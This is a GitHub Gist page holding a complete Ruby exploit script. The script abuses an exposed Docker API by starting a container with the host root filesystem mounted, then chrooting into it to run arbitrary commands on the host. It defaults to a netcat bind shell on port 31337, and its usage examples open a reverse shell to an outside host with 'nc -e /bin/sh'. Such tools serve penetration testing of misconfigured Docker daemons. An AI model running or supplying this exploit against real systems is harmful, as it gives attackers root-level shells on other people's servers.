-
-
Save Greyh4t/49ca0250768f7b185e1e9cedca66cea3 to your computer and use it in GitHub Desktop.
Get Docker Host Shell abusing Docker API
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Get Docker Host Shell abusing Docker API | |
# Copyright (C) 2015 Kost. Distributed under GPL. | |
# | |
# Prerequisite: | |
# gem install docker-api | |
# | |
# Example: | |
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422 | |
# | |
# Gemfile: | |
# gem 'docker-api', :require => 'docker' | |
require 'docker' | |
require 'logger' | |
require 'optparse' | |
#require 'pp' | |
#require 'pry' | |
$PRGNAME='docker_get_host_shell.rb' | |
# helpful class for logger | |
class MultiDelegator | |
def initialize(*targets) | |
@targets = targets | |
end | |
def self.delegate(*methods) | |
methods.each do |m| | |
define_method(m) do |*args| | |
@targets.map { |t| t.send(m, *args) } | |
end | |
end | |
self | |
end | |
class <<self | |
alias to new | |
end | |
end | |
# default $options | |
$options = {} | |
$options['ports'] = [] | |
$options['image'] = 'ubuntu' | |
$options['loglevel'] = 'WARN' | |
$options['logname'] = nil | |
$options['read_timeout']=999999 | |
$options['shell']='nc -e /bin/sh -lvp 31337' | |
begin | |
optyaml = YAML::load_file(ENV['HOME']+'/.docker_get_host_shell') | |
rescue # Errno::ENOENT | |
end | |
if optyaml != nil then | |
$options.merge!(optyaml) | |
end | |
# initialize logger | |
if $options['logname'] != nil then | |
log_file = File.open($options['logname'], 'a') | |
@log = Logger.new MultiDelegator.delegate(:write, :close).to(STDOUT, log_file) | |
else | |
@log = Logger.new MultiDelegator.delegate(:write, :close).to(STDOUT) | |
end | |
loglevel = Logger.const_get $options['loglevel'] # Logger::INFO # default is ::WARN | |
@log.level = loglevel | |
# pp $options | |
OptionParser.new do |opts| | |
opts.banner = "Usage: #{$PRGNAME} [options]" | |
opts.on("-v", "--[no-]verbose", "Run verbosely") do |v| | |
$options['verbose'] = v | |
@log.level = Logger::INFO | |
end | |
opts.on("-d", "--[no-]debug", "Run in debug mode") do |v| | |
$options['debug'] = v | |
@log.level = Logger::DEBUG | |
end | |
opts.on("-h", "--help", "Prints this help") do | |
puts opts | |
exit | |
end | |
opts.on("-i", "--image NAME", "use image NAME") do |optarg| | |
$options['image'] = optarg | |
end | |
opts.on("-l", "--log FILE", "log to FILE") do |optarg| | |
$options['logname'] = optarg | |
end | |
opts.on("-s", "--shell COMMAND", "Execute COMMAND ('nc -e /bin/sh example.com 4554')") do |optarg| | |
$options['shell'] = optarg | |
end | |
opts.on("-p", "--ports PORT:HOST", "Expose PORT on container to HOST port") do |port| | |
$options['ports'] << port | |
end | |
opts.on("-e", "--email EMAIL", "use this e-mail") do |optarg| | |
$options['email'] = optarg | |
end | |
opts.on("-U", "--user NAME", "use this username") do |optarg| | |
$options['user'] = optarg | |
end | |
opts.on("-P", "--password NAME", "use this password") do |optarg| | |
$options['password'] = optarg | |
end | |
opts.separator "" | |
opts.separator "Example #1: #{$PRGNAME} -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422" | |
opts.separator "Example #2: #{$PRGNAME} -v unix:///var/run/docker.sock" | |
end.parse! | |
# pp $options | |
def exploit | |
@log.debug("Configuring ports") | |
hostconfig={} | |
portexp={} | |
if not $options['ports'].empty? then | |
portbp={} | |
$options['ports'].each do |portspec| | |
@log.debug("Configuring port: "+portspec) | |
portsp=portspec.split(':') | |
if portsp.size == 1 then | |
portsp[1]=portsp[0] | |
end | |
portbp[portsp[0]]=[{'HostPort' => portsp[1]}] | |
portexp[portsp[0]]={} | |
end | |
hostconfig['PortBindings'] = portbp | |
end | |
hostconfig['Binds'] = ['/:/rootfs'] | |
# pp hostconfig | |
@log.info("Creating container using image: " + $options['image']) | |
container = Docker::Container.create('Cmd' => ['/bin/sh'], 'Image' => $options['image'], 'Tty' => true, 'Volumes' => { '/rootfs' => {} }, 'ExposedPorts' => portexp, 'HostConfig' => hostconfig ) | |
@log.info("Starting container: " + container.info["id"]) | |
container.start | |
@log.info("Setting timeout value to: " + $options['read_timeout'].to_s) | |
Docker.options[:read_timeout]=$options['read_timeout'] | |
ipaddress=container.json["NetworkSettings"]["IPAddress"] | |
@log.warn("Container IP address: "+ipaddress) | |
@log.warn("Executing shell: "+$options['shell']) | |
result=container.exec(['chroot','/rootfs','/bin/sh','-c',$options['shell']]) | |
@log.info(result) | |
@log.info("Stopping container: " + container.info["id"]) | |
container.stop | |
@log.info("Deleting container: " + container.info["id"]) | |
container.delete(:force => true) | |
end | |
def prepare | |
@log.debug("Using docker URL: " +Docker.url) | |
@log.debug("Validating docker version") | |
Docker.validate_version! | |
if $options.has_key?('user') and $options.has_key?('password') and $options.has_key?('email') then | |
@log.info("Authenticating as " + $options['user'] + "with e-mail " + $options['email']) | |
Docker.authenticate!('username' => $options['user'], 'password' => $options['password'], 'email' => $options['email']) | |
end | |
@log.info("Docker version: " + Docker.version["Version"] +" with kernel "+Docker.version["KernelVersion"]) | |
# images=Docker::Image.all | |
end | |
def doit | |
prepare | |
exploit | |
end | |
if ARGV.empty? then | |
doit | |
else | |
ARGV.each do |url| | |
Docker.url=url | |
doit | |
end | |
end | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment